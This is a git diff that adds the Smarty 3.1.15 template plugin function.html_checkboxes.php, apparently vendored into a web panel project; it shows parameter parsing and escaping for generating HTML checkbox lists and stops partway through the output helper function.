100644 index 0000000..ad0e9cd --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.html_checkboxes.php @@ -0,0 +1,235 @@ + + * Type: function
+ * Name: html_checkboxes
+ * Date: 24.Feb.2003
+ * Purpose: Prints out a list of checkbox input types
+ * Examples: + *
+ * {html_checkboxes values=$ids output=$names}
+ * {html_checkboxes values=$ids name='box' separator='
' output=$names} + * {html_checkboxes values=$ids checked=$checked separator='
' output=$names} + *
+ * Params: + *
+ * - name       (optional) - string default "checkbox"
+ * - values     (required) - array
+ * - options    (optional) - associative array
+ * - checked    (optional) - array default not set
+ * - separator  (optional) - ie 
or   + * - output (optional) - the output next to each checkbox + * - assign (optional) - assign the output as an array to this variable + * - escape (optional) - escape the content (not value), defaults to true + *
+ * + * @link http://www.smarty.net/manual/en/language.function.html.checkboxes.php {html_checkboxes} + * (Smarty online manual) + * @author Christopher Kvarme + * @author credits to Monte Ohrt + * @version 1.0 + * @param array $params parameters + * @param object $template template object + * @return string + * @uses smarty_function_escape_special_chars() + */ +function smarty_function_html_checkboxes($params, $template) +{ + require_once(SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'); + + $name = 'checkbox'; + $values = null; + $options = null; + $selected = array(); + $separator = ''; + $escape = true; + $labels = true; + $label_ids = false; + $output = null; + + $extra = ''; + + foreach ($params as $_key => $_val) { + switch ($_key) { + case 'name': + case 'separator': + $$_key = (string) $_val; + break; + + case 'escape': + case 'labels': + case 'label_ids': + $$_key = (bool) $_val; + break; + + case 'options': + $$_key = (array) $_val; + break; + + case 'values': + case 'output': + $$_key = array_values((array) $_val); + break; + + case 'checked': + case 'selected': + if (is_array($_val)) { + $selected = array(); + foreach ($_val as $_sel) { + if (is_object($_sel)) { + if (method_exists($_sel, "__toString")) { + $_sel = smarty_function_escape_special_chars((string) $_sel->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute contains an object of class '". get_class($_sel) ."' without __toString() method", E_USER_NOTICE); + continue; + } + } else { + $_sel = smarty_function_escape_special_chars((string) $_sel); + } + $selected[$_sel] = true; + } + } elseif (is_object($_val)) { + if (method_exists($_val, "__toString")) { + $selected = smarty_function_escape_special_chars((string) $_val->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute is an object of class '". get_class($_val) ."' without __toString() method", E_USER_NOTICE); + } + } else { + $selected = smarty_function_escape_special_chars((string) $_val); + } + break; + + case 'checkboxes': + trigger_error('html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING); + $options = (array) $_val; + break; + + case 'assign': + break; + + case 'strict': break; + + case 'disabled': + case 'readonly': + if (!empty($params['strict'])) { + if (!is_scalar($_val)) { + trigger_error("html_options: $_key attribute must be a scalar, only boolean true or string '$_key' will actually add the attribute", E_USER_NOTICE); + } + + if ($_val === true || $_val === $_key) { + $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"'; + } + + break; + } + // omit break; to fall through! + + default: + if (!is_array($_val)) { + $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"'; + } else { + trigger_error("html_checkboxes: extra attribute '$_key' cannot be an array", E_USER_NOTICE); + } + break; + } + } + + if (!isset($options) && !isset($values)) + return ''; /* raise error here? */ + + $_html_result = array(); + + if (isset($options)) { + foreach ($options as $_key=>$_val) { + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } else { + foreach ($values as $_i=>$_key) { + $_val = isset($output[$_i]) ? $output[$_i] : ''; + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } + + if (!empty($params['assign'])) { + $template->assign($params['assign'], $_html_result); + } else { + return implode("\n", $_html_result); + } + +} + +function smarty_function_html_checkboxes_output($name, $value, $output, $selected, $extra, $separator, $labels, $label_ids, $escape=true) +{ + $_output = ''; + + if (is_object($value)) { + if (method_exists($value, "__toString")) { + $value = (string) $value->__toString(); + } else { + trigger_error("html_options: value is an object of class '". get_class($value) ."' without __toString() method", E_USER_NOTICE); + + return ''; + } + } else { + $value = (string) $value; + } + + if (is_object($output)) { + if (method_exists($output, "__toString")) { + $output = (string) $output->__toString(); + } else { + trigger_error("html_options: output is an object of class '". get_class($output) ."' without __toString() method", E_USER_NOTICE); + + return ''; + } + } else { + $output = (string) $output; + } + + if ($labels) { + if ($label_ids) { + $_id = smarty_function_escape_special_chars(preg_replace('![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER, '_', $name . '_' . $value)); + $_output .= '